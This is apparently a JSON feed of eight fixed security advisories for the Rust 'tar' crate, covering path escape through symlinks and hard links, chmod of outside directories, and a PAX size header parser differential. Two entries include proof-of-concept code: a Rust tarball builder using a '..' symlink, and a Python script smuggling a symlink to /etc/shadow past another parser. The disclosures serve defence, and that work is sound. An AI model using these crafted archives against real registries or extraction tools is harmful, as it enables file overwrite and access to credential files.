{"ecosystem":"cargo","package":"tar","version":null,"bugs":[{"id":938,"ecosystem":"cargo","package_name":"tar","affected_version":null,"fixed_version":"0.4.36","bug_id":"osv:GHSA-62jx-8vmh-4mcw","title":"Links in archive can create arbitrary directories","description":"When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.","severity":"high","status":"fixed","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2021-38511","labels":["CVE-2021-38511","RUSTSEC-2021-0080"],"created_at":"2026-04-19T04:32:19.029121+00:00","updated_at":"2026-04-19T04:32:19.029121+00:00"},{"id":937,"ecosystem":"cargo","package_name":"tar","affected_version":null,"fixed_version":"0.4.16","bug_id":"osv:GHSA-2367-c296-3mp2","title":"Arbitrary file overwrite in tar-rs","description":"When unpacking a tarball with the unpack_in-family of functions it's intended that only files within the specified directory are able to be written. Tarballs with hard links or symlinks, however, can be used to overwrite any file on the filesystem. Tarballs can contain multiple entries for the same file. A tarball which first contains an entry for a hard link or symlink pointing to any file on the filesystem will have the link created, and then afterwards if the same file is listed in the tarball the hard link will be rewritten and any file can be rewritten on the filesystem.","severity":"high","status":"fixed","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2018-20990","labels":["CVE-2018-20990","RUSTSEC-2018-0002"],"created_at":"2026-04-19T04:32:19.028170+00:00","updated_at":"2026-04-19T04:32:19.028170+00:00"},{"id":944,"ecosystem":"cargo","package_name":"tar","affected_version":"0.0.0-0","fixed_version":"0.4.45","bug_id":"osv:RUSTSEC-2026-0068","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","description":"Versions 0.4.44 and below of tar-rs have conditional logic that skips the PAX\nsize header in cases where the base header size is nonzero.\n\nAs part of [CVE-2025-62518][astral-cve], the [astral-tokio-tar]\nproject was changed to correctly honor PAX size headers in the case where it\nwas different from the base header. This is almost the inverse of the\nastral-tokio-tar issue.\n\nAny discrepancy in how tar parsers honor file size can be used to create\narchives that appear differently when unpacked by different archivers. In this\ncase, the tar-rs (Rust tar) crate is an outlier in checking for the header size\n— other tar parsers (including e.g. Go [`archive/tar`][go-tar]) unconditionally\nuse the PAX size override. This can affect anything that uses the tar crate to\nparse archives and expects to have a consistent view with other parsers.\n\nThis issue has been fixed in version 0.4.45.\n\n[astral-cve]: https://www.cve.org/CVERecord?id=CVE-2025-62518\n[astral-tokio-tar]: https://github.com/astral-sh/tokio-tar\n[go-tar]: https://pkg.go.dev/archive/tar","severity":"medium","status":"fixed","source":"osv","source_url":"https://crates.io/crates/tar","labels":["CVE-2026-33055","GHSA-gchp-q4r4-x4ff"],"created_at":"2026-04-19T04:32:19.032338+00:00","updated_at":"2026-04-19T04:32:19.032338+00:00"},{"id":943,"ecosystem":"cargo","package_name":"tar","affected_version":"0.0.0-0","fixed_version":"0.4.45","bug_id":"osv:RUSTSEC-2026-0067","title":"`unpack_in` can chmod arbitrary directories by following symlinks","description":"In versions 0.4.44 and below of tar-rs, when unpacking a tar archive, the tar\ncrate's `unpack_dir` function uses [`fs::metadata()`][fs-metadata] to check\nwhether a path that already exists is a directory. Because `fs::metadata()`\nfollows symbolic links, a crafted tarball containing a symlink entry followed\nby a directory entry with the same name causes the crate to treat the symlink\ntarget as a valid existing directory — and subsequently apply chmod to it. This\nallows an attacker to modify the permissions of arbitrary directories outside\nthe extraction root.\n\nThis issue has been fixed in version 0.4.45.\n\n[fs-metadata]: https://doc.rust-lang.org/std/fs/fn.metadata.html","severity":"medium","status":"fixed","source":"osv","source_url":"https://crates.io/crates/tar","labels":["CVE-2026-33056","GHSA-j4xf-2g29-59ph"],"created_at":"2026-04-19T04:32:19.031906+00:00","updated_at":"2026-04-19T04:32:19.031906+00:00"},{"id":942,"ecosystem":"cargo","package_name":"tar","affected_version":"0.0.0-0","fixed_version":"0.4.36","bug_id":"osv:RUSTSEC-2021-0080","title":"Links in archive can create arbitrary directories","description":"When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it's supposed to unpack into.\n\nThe function errors when it's trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -> Result<()> {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(&mut buf);\n\n        // symlink: parent -> ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(&*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering\nand reporting this, and Nikhil Benesch (@benesch) for the fix!","severity":"medium","status":"fixed","source":"osv","source_url":"https://crates.io/crates/tar","labels":["CVE-2021-38511","GHSA-62jx-8vmh-4mcw"],"created_at":"2026-04-19T04:32:19.031437+00:00","updated_at":"2026-04-19T04:32:19.031437+00:00"},{"id":941,"ecosystem":"cargo","package_name":"tar","affected_version":"0.0.0-0","fixed_version":"0.4.16","bug_id":"osv:RUSTSEC-2018-0002","title":"Links in archives can overwrite any existing file","description":"When unpacking a tarball with the `unpack_in`-family of functions it's intended\nthat only files within the specified directory are able to be written. Tarballs\nwith hard links or symlinks, however, can be used to overwrite any file on the\nfilesystem.\n\nTarballs can contain multiple entries for the same file. A tarball which first\ncontains an entry for a hard link or symlink pointing to any file on the\nfilesystem will have the link created, and then afterwards if the same file is\nlisted in the tarball the hard link will be rewritten and any file can be\nrewritten on the filesystem.\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/156 and is\npublished as `tar` 0.4.16. Thanks to Max Justicz for discovering this and\nemailing about the issue!","severity":"medium","status":"fixed","source":"osv","source_url":"https://crates.io/crates/tar","labels":["CVE-2018-20990","GHSA-2367-c296-3mp2"],"created_at":"2026-04-19T04:32:19.030983+00:00","updated_at":"2026-04-19T04:32:19.030983+00:00"},{"id":940,"ecosystem":"cargo","package_name":"tar","affected_version":null,"fixed_version":"0.4.45","bug_id":"osv:GHSA-j4xf-2g29-59ph","title":"tar-rs `unpack_in` can chmod arbitrary directories by following symlinks","description":"## Summary\n\nWhen unpacking a tar archive, the `tar` crate's `unpack_dir` function uses `fs::metadata()` to check whether a path that already exists is a directory. Because `fs::metadata()` follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply `chmod` to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root.\n\n## Reproducer\n\nA malicious tarball contains two entries: (1) a symlink `foo` pointing to an arbitrary external directory, and (2) a directory entry `foo/.` (or just `foo`). When unpacked, `create_dir(\"foo\")` fails with `EEXIST` because the symlink is already on disk. The `fs::metadata()` check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via `chmod`, which also follows the symlink — modifying the permissions of the external target directory.\n\n## Fix \n\nThe fix is very simple, we now use `fs::symlink_metadata()` in `unpack_dir`, so symlinks are detected and rejected rather than followed.\n\n## Credit\n\nThis issue was reported by @xokdvium - thank you!","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-j4xf-2g29-59ph","labels":["CVE-2026-33056","RUSTSEC-2026-0067"],"created_at":"2026-04-19T04:32:19.030488+00:00","updated_at":"2026-04-19T04:32:19.030488+00:00"},{"id":939,"ecosystem":"cargo","package_name":"tar","affected_version":null,"fixed_version":"0.4.45","bug_id":"osv:GHSA-gchp-q4r4-x4ff","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","description":"### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n> I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n    r = len(d) % B\n    return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n    h = bytearray(B)\n    h[0 : len(name)] = name\n    h[100:107] = b\"0000644\"\n    h[108:115] = h[116:123] = b\"0001000\"\n    h[124:135] = f\"{size:011o}\".encode()\n    h[136:147] = b\"00000000000\"\n    h[148:156] = b\"        \"\n    h[156:157] = typ\n    if link:\n        h[157 : 157 + len(link)] = link\n    h[257:263] = b\"ustar\\x00\"\n    h[263:265] = b\"00\"\n    h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n    return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used < INFLATED:\n    ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: &[u8]) {\n    println!(\"tar:\");\n    let mut ar = tar::Archive::new(data);\n    for e in ar.entries().unwrap() {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) => println!(\"  {:20} {:?} -> {}\", path.display(), kind, l.display()),\n            None => println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\nasync fn async_parse(data: Vec<u8>) {\n    println!(\"astral-tokio-tar:\");\n    let mut ar = tokio_tar::Archive::new(data.as_slice());\n    let mut entries = ar.entries().unwrap();\n    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) => println!(\"  {:20} {:?} -> {}\", path.display(), kind, l.display()),\n            None => println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\n#[tokio::main]\nasync fn main() {\n    let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n    let data = fs::read(&path).unwrap();\n    sync_parse(&data);\n    async_parse(data).await;\n}\n```\n\n```\ntar:\n  regular.txt          Regular\n  smuggled             Symlink -> /etc/shadow\n\nastral-tokio-tar:\n  regular.txt          Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff","labels":["CVE-2026-33055","RUSTSEC-2026-0068"],"created_at":"2026-04-19T04:32:19.029707+00:00","updated_at":"2026-04-19T04:32:19.029707+00:00"}],"total":8,"_cache":"miss"}